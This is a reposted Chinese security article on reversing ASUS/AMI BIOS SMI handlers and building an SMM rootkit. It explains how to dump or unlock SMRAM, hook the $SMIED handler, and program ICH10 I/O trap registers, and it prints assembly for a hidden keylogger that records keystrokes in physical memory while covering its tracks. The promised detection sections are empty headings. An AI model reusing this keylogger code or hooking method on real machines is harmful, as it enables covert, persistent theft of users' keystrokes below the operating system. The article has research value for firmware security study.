真实的SMM Rootkit——BIOS SMI句柄的逆向与钩挂_很好的一篇文章在黑客学习基地上看到的和大家分享

摘自:黑防

文章作者:fahrenheit
1 引言

        本文将探索一些BIOS中的SMI代码,所使用到的固件都来自于ASUS(华硕)的主板,尤其是基于Intel P45硬件的ASUS P5Q系列平台。ASUS的BIOS是基于AMIBIOS 8实现的,因此我们的工作可以延伸应用到所有使用了AMI BIOS固件的BIOS平台。而且SMM作为x86架构的特征之一,各种BIOS在SMI代码实现上的相似性,使得文章的研究结果在不同类型的BIOS上也具有较好的可移植性。



2 逆向 系统管理中断(SMI)句柄
        或许有人认为应该动用“硬件分析器”来参与我们的宏伟计划,其实这是一种误解。SMI处理程序是BIOS固件的一部分,和普通的BIOS代码一样,也可以类似的从中将其反汇编出来。Pinczakko的《BIOS Disassembly Ninjutsu Uncovered 》和《Guide to Award BIOS Reverse Engineering》二书,讲述了Award and AMI BIOS逆向方面的详细情况,有兴趣的读者可以到此参考。在这里,从BIOS中转储SMI处理函数,我们有两种方法可供选择。

1.        找一个 漏洞,从保护模式进入SMRAM,并将SMRAM中的所有内容,尤其是TSEG,High SMRAM和0xA0000-0xBFFFF等区域转储出来。如果BIOS没有锁定D_LCK位,可以通过Duflot和BSDaemon介绍的修改SMRAMC PCI配置寄存器的方式转储。万一BIOS锁定了SMRAM,BIOS固件看上去也无懈可击,那就只有修改BIOS,令其不会设置D_LCK位这一条路了。将修改的程序重刷回BIOS的ROM,这样在启动时,SMRAM就不会被锁定了。不过这样做首先要确定BIOS不需要数字签名(digitally signed),而且目前几乎没有主板会使用带数字签名的非EFIBIOS固件。

我想在这里有必要提一下BIOS设置D_LCK位的方法。通常情况下,BIOS都倾向于使用0xCF8/0xCFC端口,通过合法的I/O访问,设置相关的PCI配置寄存器。BIOS首先将0x8000009C写入到0xCF8的地址端口,然后再将0x1A的数值写入到0xCFC的数据端口,设置SMRAMC寄存器就可以锁定SMRAM了。

2.        还有另外一种方法,相对前者来说要简单一些,不需要访问运行时的SMRAM数据。
2.1 从BIOS开发商的 网站下载最新的,或者使用闪存编程器件(Flash Programmer)从BIOS的ROM中提取固件的二进制代码。我们针对的ASUS P5Q主板就是要下载P5Q-ASUS-PRO-1613.ROM文件。
2.2 大多数的BIOS固件都包含了主BIOS模块,压缩的SMI处理句柄就位于其中,利用开发商提供的提取/解压工具打开BIOS主模块。由于ASUS BIOS是基于AMI BIOS的,我们使用AMIBIOS BIOS Module Manipulation Utility 和MMTool.exe从中抽取主模块。在MMTool中打开下载的.ROM文件,单击“Single Link Arch BIOS”抽取模块(ID=1Bh),然后检查“In uncompressed form”的选项,最后保存,就得到了包含SMI处理句柄的主BIOS模块。
2.3 主BIOS模块抽取完成,就可以用HIEW或IDA Pro等工具开始我们的SMI反汇编之旅了。

反汇编SMI句柄

        我们注意到在ASUS/AMI BIOS中使用的是一个结构体数组来描述SMI的处理函数。数组中的每一个入口项都有“$SMIxx”的签名,其中“xx”字符指明了具体的SMI处理函数。图1显示的是基于P45芯片组ASUS P5Q SE主板的AMIBIOS 8所使用的SMI分配表(SMI dispatch table)数据。


反汇编SMI分配函数

        BIOS中有一个特殊的SMI分配函数,我们将其命名为“dispatch_smi”,将遍历分配表中的所有入口,并调用handle_smi_ptr指向的处理函数。如果没有任何处理函数能够响应当前的SMI中断信号,它将调用最后的$DEF例程。下面的代码就是我们从ASUS P5Q主板反汇编得到的Handle_SMI BIOS函数。

钩挂SMI处理函数

        基于上述的讨论,钩挂SMI处理函数的方法也有很多,可以添加一个新的SMI处理句柄,也可以给已有的句柄打个补丁,加上新的功能。两种方法在本质上并没有多大区别,所以两种情况我们都将做必要的介绍。

        1.在SMI分配表中添加我们自己的SMI处理函数。
        要加入新的函数,必须先在分配表中建立一个新的入口表项,我们将其取名为“$SMIaa”,如图3所示。

        该入口包含了指向默认SMI处理句柄的指针,待会儿我们将修改这个默认的处理函数。或者我们也可以在SMRAM中找一块空闲区域,放上一段shellcode,将指向默认句柄的指针替换为指向shellcode。最后还要注意,当有新的处理函数加入到分配表中之后,保存在SMRAM数据段中的SMI代码计数值也要相应的加1,保持SMI处理函数数目的一致性。

2. 给已有的SMI处理句柄打补丁。
        虽然现有的BIOS都是基于同样的AMIBIOS 8的核心,但不同制造商根据主板、芯片组型号,甚至移动版和服务器版硬件的不同,其内部SMI处理函数的数目也不尽相同。SMI处理函数主要是用于硬件的管理功能,不同系统对BIOS中的SMI处理有着不同的功能需求。然而有趣的是,我们发现了一些在任何基于AMIBIOS 8的BIOS中都存在的SMI处理函数,例如分配表中的$SMICA, $SMISS, $SMISI, $SMIX5, $SMIBP, $SMIED, $SMIFS和$SMIBS等,尤其是默认的$DEF也名列其中。
        首选的方法就是在基于AMIBIOS 8的BIOS中替换掉一个SMI处理函数,例如$SMISS。ASUS P5Q主板,$SMISS处理函数的偏移位于BIOS系统代码000490D3的地方,下面是其反汇编的代码片段:

handle_smi_ss:

000490D3: 0E                                push                cs
000490D4: E8D8FF                        call                0000490AF  ---  (1)
000490D7: B80100                        mov                ax,00001 ;"  "
000490DA: 0F82F400                        jb                0000491D2  ---  (2)
000490DE: B81034                        mov                ax,03410 ;"4 "

000491CA: 9AFB00C8A8                call                0A8C8:000FB  ---X
000491CF: B80000                        mov                ax,00000
000491D2: CB                                retf

        花了一定 时间做逆向分析之后,我们发现这段代码其实是在处理系统的休眠状态(Sleep State)请求。如果执意要钩挂和替换该SMI函数的话,可能会影响到系统的重要功能,留下不稳定的 安全隐患。系统在没有合适的SMI处理函数时,将执行默认的$DEF。如果我们准备注入的代码是当前BIOS所不支持的功能,这个默认的处理函数还是可以考虑的。
        默认的函数只执行最基本的操作,并且占用的空间有限,严格说来并非我们理想的钩挂目标。最好是要找一个占用空间较多,在所有BIOS中又不执行 什么具有重大意义功能的SMI处理函数。这看起来不太可能,但实际上确实有那么一个。先来看看$SMIED,它处理的是由写入数据0xDE到APMC端口0xB2而产生的SMI中断。

_outpd( 0xb2, 0xDE );

        看起来它确实没做什么有意义的事情,但是在我们检查过的每个BIOS中都有其身影的存在。至于作用我们还不是很清楚,猜测应该是作调试的干活。首先我们要在BIOS的二进制代码中找到$SMIED处理函数的位置。定位操作十分简单,只要找到主例程在SMI分配表中的入口项,通过SMI_HANDLER结构的handle_smi_ptr指针就可以了。
现在我们已经得到了上述的$SMISS函数的位置,在系统BIOS代码0x000490D3偏移的地方。分配表中$SMISS入口项的最后4个字节为“B5 85 C8 A8”,即handle_smi_ptr = 0xA8C885B5,是$SMISS处理函数的线性地址。$SMIED入口项的最后4个字节为“F2 A7 C8 A8”,所以handle_smi_ptr = 0xA8C8A7F2。同样是线性地址,前后两个地址间的差值为0x223D,将其加到$SMISS的偏移上,我们最终得到了$SMIED的函数偏移。

0x000490D3 + 0x223D = 0x0004B310

其他函数的偏移也可以采用类似方法求得,下面是$SMIED函数的反汇编代码片段:

0004B2FD: 50                        push                ax
0004B2FE: E8CCFD                call                00004B0CD  --- > (1)
0004B301: 720A                        jb                00004B30D  --- > (2)
0004B303: 3CDE                        cmp                al,0DE
0004B305: 7506                        jne                00004B30D  --- > (3)
0004B307: E8E0FD                call                00004B0EA  --- > (4)
0004B30A: F8                        clc
0004B30B: 58                        pop                ax
0004B30C: CB                        retf
0004B30D: F9                        stc
0004B30E: 58                        pop                ax
0004B30F: CB                        retf

handle_smi_ed:

0004B310: 0E                        push                cs
0004B311: E8E9FF                call                00004B2FD  --- > (5)
0004B314: B80100                mov                ax,00001 ;"  "
0004B317: 7245                        jb                00004B35E  --- > (6)
0004B319: 6660                        pushad
0004B31B: 1E                        push                ds
0004B31C: 06                        push                es
0004B31D: 680070                push                07000 ;"p "
0004B320: 1F                        pop                ds
0004B321: 33FF                        xor                di,di
0004B323: 6828B4                push                0B428 ;"_("
0004B326: 07                        pop                es
0004B327: 33F6                        xor                si,si
0004B329: 268B04                mov                ax,es:[si]
0004B32C: 8905                        mov                [di],ax
0004B32E: 268B04                mov                ax,es:[si]
0004B331: 3D2444                cmp                ax,04424 ;"D$"
0004B334: 750C                        jne                00004B342  --- > (7)
0004B336: BB0200                mov                bx,00002 ;"  "
0004B339: 268B4402                mov                ax,es:[si][02]
0004B33D: 3D4546                cmp                ax,04645 ;"FE"
0004B340: 7408                        je                00004B34A  --- > (8)
0004B342: 83C602                add                si,002 ;" "
0004B345: 83C702                add                di,002 ;" "
0004B348: EBDF                        jmps                00004B329  --- > (9)
0004B34A: 268B00                mov                ax,es:[bx][si]
0004B34D: 8901                        mov                 [bx][di],ax
0004B34F: 83C302                add                bx,002 ;" "
0004B352: 83FB0A                cmp                bx,00A ;" "
0004B355: 75F3                        jne                00004B34A  --- > (A)
0004B357: 07                        pop                es
0004B358: 1F                        pop                ds
0004B359: 6661                        popad
0004B35B: B80000                mov                ax,00000
0004B35E: CB                        retf

        上述这个“调试”处理函数只做了一件事情,就是将SMI分配表从0x0B428:[si]拷贝到0x07000:[di]的位置,看来我们可以放心大胆的用自己的SMI代码钩挂它了。随后,我们将实现一个键盘记录程序,将其注入到这个处理函数内部。不过在我们开始新的章节之前,还是有必要先来回顾一下可以用于在用户击键时,调用记录程序的相关技术。
1.        使用I/O APIC将键盘的硬件中断(IRQ #01)导向SMI。Shawn Embleton和Sherri Sparks采用的就是I/O高级可编程中断控制器,将键盘的IRQ #01号中断导向SMI,并在SMI处理程序中捕获击键事件。
2.        采用键盘控制器数据端口访问时的I/O陷阱机制。
我们在本文中使用了不同于前者的I/O陷阱技术,该项技术最初是BIOS模拟PS/2键盘的用途,在下一章节中我们将详细的解释其工作原理。



3 SMM键盘记录程序

3.1 硬件I/O陷阱机制

        实现一个内核级的键盘记录程序,方法之一是钩挂中断描述符表(IDT)中的调试陷阱#DB处理函数,并设置调试寄存器DR0-DR3,用数据端口0x60捕获系统的击键事件。类似的,我们也可以采用通过键盘I/O端口60/64陷入SMI的方法。我们参考了AMI BIOS的设计白皮书《USB Support for AMIBIOS8》,里面有这样的一段叙述。

“2.5.4 60/64端口模拟(emulation)
        该选项可以开启或者关闭60h/64h端口的陷阱功能。60h/64h端口陷阱允许BIOS为USB键盘和鼠标提供基于PS/2的完全支持,在Microsoft Windows NT操作系统和支持多语言键盘上尤为有用。该选项还为USB键盘提供了诸如键盘锁定,密码设置和扫描码选择等各项PS/2键盘的功能。”

        该机制由硬件系统来完成,所以我们还要查看一下具体的硬件配置情况。好在Intel和AMD的CPU中都有I/O陷阱的相关机制。AMD开发手册《BIOS and Kernel's Developer's Guide for AMD Athlon 64 and AMD Opteron Processors》中的“SMM I/O Trap and I/O Restart”一节,和Intel手册《Intel IA-32 Architecture Software Developer's Manual》中的“I/O State Implementation and I/O INSTRUCTION RESTART”一节对该机制都有详细的介绍。
        I/O陷阱机制允许陷入SMI后,在SMI处理程序内部使用IN和OUT指令来访问系统的任意I/O端口。之所以设计该机制的目的是为了在断电时,通过I/O端口来开启(power on)某些设备。除此之外,I/O陷阱当然也可以用于在SMI句柄中模拟60h/64h的键盘端口。在某种程度上说,它和上述的调试陷阱机制有些类似,用陷阱捕获对I/O端口的访问,但是并非调用OS内核的调试陷阱处理句柄,而是产生一个SMI中断,让CPU进入SMM模式,执行I/O陷阱的SMI处理函数。
        当处理器陷入I/O指令,进入SMM模式时,它会将I/O指令陷入时的所有信息保存在SMM存储状态映射区(Saved State Map)的I/O状态域(I/O State Field)中,位于SMBASE+0x8000+0x7FA4的位置。图4是该区域的数据分布情况,待会儿我们的记录程序将会用到。

-设置了IO_SMI (bit 0),表示当前是一个I/O陷阱SMI。
- I/O 长度标志(bits [1:3])表示 I/O访问是byte(001b)、word(010b)或dword(100b)三者之一。
- I/O Type标志(bits [4:7])表示I/O指令的类型,IN imm(1001b),IN DX(0001b)等。
- I/O 端口(bits [16:31]),包含了当前访问的I/O端口号。

        如果当前是通过IN DX指令,字节宽度来访问0x60端口, IO_SMI置位,SMM keylogger首先需要检测和更新SMM存储状态映射区中的EAX域,然后还要检测0x7FA4处的I/O状态域的值是否为0x00600013。

mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi

        上述是检测的简化形式,SMM keylogger还需要检测I/O状态域中I/OType和I/O Length等其他标志。因为我们是记录键盘的目的,所以只关心I/O陷阱,并不用理会I/O重启(I/O Restart)的相关设置。I/O重启和I/O陷阱构成了完整的SMI I/O处理方式,当SMM中的SMI执行完毕时,I/O重启允许IN或OUT指令从SMI中断处恢复并继续执行。
        I/O陷阱机制允许我们在任意I/O端口的软硬件交互读写操作时陷入SMI的处理例程,现在关心的只是0x60数据端口,实现键盘击键时的I/O陷入的具体步骤如下:
1.        击键事件发生时,键盘控制器产生一个硬件中断,用I/O APIC将IRQ 1中断信号导向SMI的处理句柄。
2.        收到键盘中断之后,APIC调用IDT中的键盘中断处理程序,对PS/2键盘是0x93号中断向量。
3.        键盘中断处理程序通过端口0x60从键盘控制器的缓冲区中读取按键扫描码。正常情况下将清空扫描码,并将其显示在屏幕上。
4.        此时芯片组引起端口0x60的读取陷阱,产生信号通知I/O陷阱SMI。
5.        在SMM模式下,keylogger的SMI处理句柄响应SMI中断,处理I/O陷阱SMI。
6.        退出SMM时,keylogger的SMI处理句柄将结果(当前扫描码)返回给0x60端口的读取指令,交由内核的中断句柄作进一步处理。
上述的第6步操作,将扫描码返回到OS的键盘中断处理程序,在I/O陷阱和I/O APIC下的实现是有区别的。如果使用了APIC来触发SMI,SMI keylogger必须再次向键盘控制器的缓冲区中填充扫描码,以待操作系统再次读取,做进一步处理。
        I/O陷阱下则是采用另外的方法。OS键盘中断处理程序使用的“IN al, 0x60”指令会引起SMM keylogger的I/O陷入,由于该IN指令产生了无穷的SMI陷入循环,将永远无法从SMM中恢复到原来的状态继续执行。此时,SMI句柄只要将IN指令的读取结果保存到AL/AX/EAX寄存器,表现得就像IN指令从来没有陷入过一样。
        IA32体系,EAX寄存器位于SMRAM存储状态区偏移为0x7FD0的位置,即 SMBASE +0x8000+0x7FD0,在IA64下为SMBASE + 0x8000+0x7F5C。因此当上述的IO_SMI置位时,SMM keylogger需要将从0x60端口读取的扫描码更新至EAX域,下面就是更新EAX域的代码片段:

; 1.验证读取0x60端口时设置的IO_SMI位
; 2.更新SMM存储状态区的EAX域(SMBASE + 0x8000 + 0x7FD0)
mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
mov byte ptr fs:[esi + 0xFFD0], al
_not_io_smi:
; skip this SMI#

        不失完整性,我们下面给出的是基于IRQ1重定向SMI# APIC 的SMM keylogger将扫描码重新填充到键盘控制器缓冲区的代码本片段:

; 从键盘控制器缓冲区读取扫描码
in al, 0x60
push ax
; 将0xD2命令字节写入到0x64端口
; 准备用截取的扫描码填充控制器缓冲区,以待OS进一步处理
mov al, 0xd2
out 0x64, al
; 等待直到控制器做好读取准备
_wait:
in al, 0x64
test al, 0x2
jnz _wait
; 填充扫描码
pop ax
out 0x60, al

        上述给出的是I/O陷阱机制的各项特征,下一节我们将介绍利用这些特征,SMM keylogger工作的具体细节。

3.2 用I/O陷阱捕获击键事件

        为了开启可编程I/O陷阱机制,需要参考具体的芯片组配置说明。Intel I/O Controller Hub10(ICH10)中设置了4个寄存器,IOTR0 - IOTR3,定义了需要陷入的I/O周期,提供了兼容陷入式访问I/O端口的操作能力。
所有的IOTRn(I/O陷阱寄存器0-3,I/O Trap Register 0-3)和其他的一些专用寄存器都位于ICH的RCBA(Root Complex Base Address Register)寄存器空间内。(《Intel I/O Controller Hub 10 (ICH10) Family Datasheet》中10.1.46-49节有关于IOTR的详细描述,以供进一步参考。)
        IOTRn 0-3位于RCBA中0x1E80至0x1E9F的位置,1E80-1E87h IOTR 0,1E88-1E8Fh IOTR 1,1E90-1E97h IOTR 2,1E98-1E9Fh IOTR 3。
        TRST(陷阱状态寄存器,Trap Status Register)位于RCBA 偏移1E00h处,包含4个状态位,指示通过IOTRn访问陷入程序。
        TRCR(陷入周期寄存器,Trapped Cycle Register)位于RCBA 偏移1E10h处,保存了写入到陷入I/O端口中的数据。
        而至于RCBA的值可以从ICH PCI配置寄存器Bus:Device:Function = 0:31:0,偏移为0xF0的地方读取,下面是读取的代码片段:

// 读取RCBA
// LPC device in ICH, B:D:F = 0:31:0
lpc_rcba_addr = pci_addr( 0, 31, 0, LPC_RCBA_REG );
_outpd( 0xcf8, lpc_rcba_addr );
rcba_reg = _inpd( 0xcfc);
pa.LowPart = rcba_reg & 0xffffc000;
rcba = MmMapIoSpace( pa, 0x2000, MmCached );

        每一个IOTRn寄存器都包含了下面的一些标志位:
        Bit 0,TRSE标志(陷入和SMI#使能,Trap and SMI# Enable),0 =陷入且SMI#逻辑关闭,1 =陷入逻辑开启。
        Bits 15:2,IOAD(I/O 地址,I/O Address),以双字(dword)对齐的I/O地址。
        Bits 35:32,TBE标志(字节使能,Byte Enables),字节数据以双字方式对齐。
        Bit 48,RWIO标志(读/写,Read/Write#),0 = 写入,1 = 读取。
        为了开启键盘控制器0x60数据端口的读取陷阱,需要对一个IOTR做如下的编程操作,例如IOTR 0,要用到下面所示的代码片段(完整的代码请参考本文的附件):
        IOTR 0 DWORD的低半部分设置为0x00000061(IOAD = 0x60,TRSE = 1)。
        IOTR 0 DWORD的高半部分设置为0x000100f0(TBE = 0xf,RWIO = 1)。

// 为开启0x60端口读取陷阱设置IOTR 0
pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

// trap on port read + all byte enables
*(DWORD*)pIOTR0_HI = 0x100f0;
// keyboard controller port 0x60 + 1 enable I/O Trap
*(DWORD*)pIOTR0_LO = 0x61;

        在下几节介绍基于I/O陷阱SMI处理程序的实现细节之前,还有一个注意事项。SMI处理句柄需要在程序的起始部分关闭(禁用)I/O陷阱功能,在退出SMM之前又将其打开,看起来有点类似中断处理程序关、开中断的概念。

; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_IOTR0_REG                equ                FED1DE80h

mov edx, IO_TRAP_IOTR0_REG
mov dword ptr [edx], 0

; handle I/O Trap SMI
mov edx, IO_TRAP_IOTR0_REG
mov eax, 0x61
mov dword ptr [edx], eax

        上面的代码首先将0写入到FED1DE80h的MMIO地址,设置IOTR 0,关闭I/O陷阱。随后在处理完SMI中断,返回之前写入值0x61,重新开启0x60端口的陷阱功能。至此,离实现我们的SMM Keylogger只有一步之遥了,万事俱备,只欠东风。

3.3 SMM keylogger

        虽然我们的keylogger和内核里的keylogger有某些程度上的相似,但要记住我们的是运行于SMM环境下,由BIOS设置的SMI代码,比后者具有高出很多的运行时隐蔽性。
        我们的keylogger可以在PS/2键盘上正常工作,当用户有击键操作时,将直接查询键盘控制器的0x60数据端口,读取扫描码,再产生SMI中断,由对应的句柄来处理。下面就是我们用I/O陷阱机制实现的keylogger程序,读取扫描码,将其转储到内存中某个物理地址;然后还要使用同样的0x60端口将扫描码再填充回去,掩盖记录键盘的踪迹。(完整的代码放在本文的附件里)

pusha

; 验证IO_SMI是否来自于0x60端口的读取操作
mov esi, SMBASE
mov ecx, dword ptr [esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
;
; 从键盘控制器0x60端口读取扫描码
xor ax, ax
in al, 60h
;
; 转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址
; 该区域的首个dword 是已记录的扫描码计数值
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al
;
; 已保存扫描码,增加一个扫描码计数值
inc ecx
pop edi
mov dword ptr [edi], ecx
;
; 更新SMM存储状态映射区的 EAX域(SMBASE + 0x8000 + SMM_MAP_EAX)
; 将扫描码作为IN指令的结果返回
mov byte ptr [esi + 0xFFD0], al
_not_io_smi:
popa

3.4 基于I/O陷阱的SMI处理句柄

        从前文的描述中,我们总结系统的I/O陷阱机制发挥作用要经过如下的4个步骤:
        1. CPU对某些I/O端口进行读写操作。
        2. 芯片组产生访问陷入,将端口号,位宽,读写操作类型等翻译为查询信息,并通过内核模式的程序向I/O陷阱机制相关的寄存器查询陷入情况。
        3. 如果当前的I/O端口访问和可编程I/O陷阱寄存器中的信息相匹配,芯片组产生SMI中断,并发送给CPU。
        4. CPU进入SMM模式,由指定的SMI中断处理程序来响应当前I/O陷阱的SMI请求。
        SMM keylogger的原理就是利用I/O陷阱机制对芯片组编程,在读取键盘控制器的0x60数据端口时陷入产生SMI中断,由SMI处理句柄来记录键盘操作。后者开始执行后,将完成下面的6个动作。
        1. 验证SMI是否来源于读取键盘控制器的I/O陷阱操作。
        2. 访问地址0xFED1DE00,清除TRST MMIO寄存器中的I/O陷阱状态位。
        3. 访问地址0xFED1DE80,暂时关闭IOTRn寄存器的I/O陷阱功能,以便从陷入的端口中读取键盘数据。
        4. 访问地址0xFED1DE10,检测TRCR MMIO寄存器,查看陷入的是读或者写入操作。
        5. 通过0x60端口,从键盘控制器缓冲区中读取扫描码,并保存到内存某处。
        4. 用扫描码更新SMM存储状态区中的EAX域,当SMI句柄返回之后,扫描码可由内核的中断处理程序作进一步处理。
        5. 用0x61设置IOTRn寄存器,重新开起0x60 端口的I/O陷阱功能,为记录下一次键盘事件做好准备。
        6. 从SMI处理函数中返回。

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; I/O Trap based SMI keystroke logger
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; I/O Trap registers in Root Complex Base Address (RCBA)
IO_TRAP_IOTR0_REG                equ                FED1DE80h
; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_TRSR_REG                equ                FED1DE00h
; Trap Status Register = RCBA + 1E00h
IO_TRAP_TRCR_REG                equ                FED1DE10h
; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORT                equ                60h
DST_BUF_PHYSADDR        equ                20000h
SEG_4G                                        equ                ?

; IO_SMI bit, I/O Port = 0x60
; I/O Type = IN DX
; I/O Length = 1
;
IOSMI_IN_60_BYTE                equ                00600013h
;
; SMM Save State Map fields
SMM_MAP_IO_STATE_INFO        equ                FFA4h
SMM_MAP_EAX                                equ                FFD0h
;
; 4GB的内存寻址范围
push ds
push SEG_4G
pop ds
;
; 清除I/O陷阱状态位
mov eax, IO_TRAP_TRSR_REG
mov dword ptr [eax], 1
;
; 检测TRCR是读取还是写入,我们之处理读操作
mov eax, IO_TRAP_TRCR_REG
mov ebx, dword ptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled
;
;暂时关闭I/O陷阱
mov eax, IO_TRAP_IOTR0_REG
mov dword ptr [eax], 0

;;;;;;;;;;;
; 记录击键事件
pusha
;
; 验证IO_SMI是来源于0x60端口的读操作
mov esi, SMBASE
mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jnz _not_io_smi
;
; 从键盘控制器0x60端口读取扫描码
xor ax, ax
in al, KBRD_DATA_PORT
;
; 转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址
; 该区域的首个dword 是已记录的扫描码计数值
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al
;
; 已保存扫描码,增加一个扫描码计数值
inc ecx
pop edi
mov dword ptr [edi], ecx
;
; 更新SMM存储状态映射区的 EAX域(SMBASE + 0x8000 + SMM_MAP_EAX)
; 将扫描码作为IN指令的结果返回
mov byte ptr [esi + SMM_MAP_EAX], al
_not_io_smi:
popa
;
; 再次打开0x60端口的I/O陷阱功能
mov eax, IO_TRAP_IOTR0_REG
mov ebx, KBRD_DATA_PORT+1
mov dword ptr [eax], ebx
;
; SMI处理程序结束,返回0值
_smi_handled:
pop ds
mov eax, 0
retf

3.5 多处理器下的keylogger说明

        我们的keylogger已经更新了系统SMRAM存储状态映射区中的EAX(RAX)寄存器,要是碰到了多处理器系统那又该 怎么办呢?当多个逻辑处理器同时进入SMM模式时,它们在SMRAM中都要有自己的SMM存储状态映射区,这将由BIOS为每个处理器分配不同的SMRAM 基地址(SMBASE)来妥善解决,因此该项技术也被称为“SMBASE重定向”。
        例如在双处理器系统中,两个逻辑处理器分别具有不同的SMBASE,SMBASE0和SMBASE0+0x300;第一个处理器的SMI处理句柄将从EIP = SMBASE0+0x8000处开始执行,而第二个则从EIP = SMBASE0+0x8000+0x300的地方开始;同理,它们各自的存储状态映射区也就分别位于(SMBASE0+0x8000+0x7F00)和(SMBASE0+0x8000+0x7F00+0x300)。
        不只是0x300,BIOS也会为额外的处理器设置其他的SMBASE增量偏移。增量偏移虽然可变,但是其计算过程也不算复杂。在SMM存储状态映射区内部0x7EFC偏移处包含了一个SMM修正ID(Revision ID),对每个处理器来说都是同样的数值。例如SMM的修正ID可能为0x30100,在SMRAM中找到各处理器的修正ID,计算它们之间的差值也就得到了各SMBASE间的相对位移。
        下面我们展示的是SMM keylogger在双处理器系统上的EAX更新代码。它将顺次检查I/O状态域是否和某个处理器的I/O陷阱匹配,确定的话则更新其SMM存储状态映射区中的EAX值。

; 在双处理器系统上更新EAX
mov esi, SMBASE
lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jne _skip_proc0:
mov byte ptr [esi + SMM_MAP_EAX], al

_skip_proc0:
lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]
cmp ecx, IOSMI_IN_60_BYTE
jne _skip_proc1:
mov byte ptr [esi + SMM_MAP_EAX + 0x300], al

_skip_proc1:




4 建议的检测方法

4.1 I/O陷阱机制检测
4.2 计时(timing)检测



5 结束语

        本文描述了在BIOS中反汇编、修改以及实现一个SMI处理程序的全过程,我们希望能以这些细节的东西向大家展示SMM Rootkit的具体工作原理,其重要性以及一些检测的方法。读过本文,虽然BIOS有锁定SMRAM内存的功能,但仅仅依靠SMRAMC寄存器中的一个D_LCK位就决定这系统攸关的安全大事,可还真是让人捏把汗啊。
        SMI处理程序随着BIOS的不同而变化,它也可能随着BIOS固件更新机制的变化而引入一些新的特性。某时某刻,当它迁移到(U)EFI平台时,将大大简化EFI硬件的开发过程,甚至为EFI下的SMM处理带来革命性的功能改善。我们始终相信,现阶段的安全威胁主要来源于SMI处理函数内部的 软件代码缺陷,它和OS内核、设备驱动以及应用程序相交互,相对后者具有最高的执行权限。现在的事实又一次给我们敲响了警钟,BIOS制造商们真的到了不得不为它们产品中SMM代码安全水平做细致考虑的时候了。

你可能感兴趣的:(BIOS)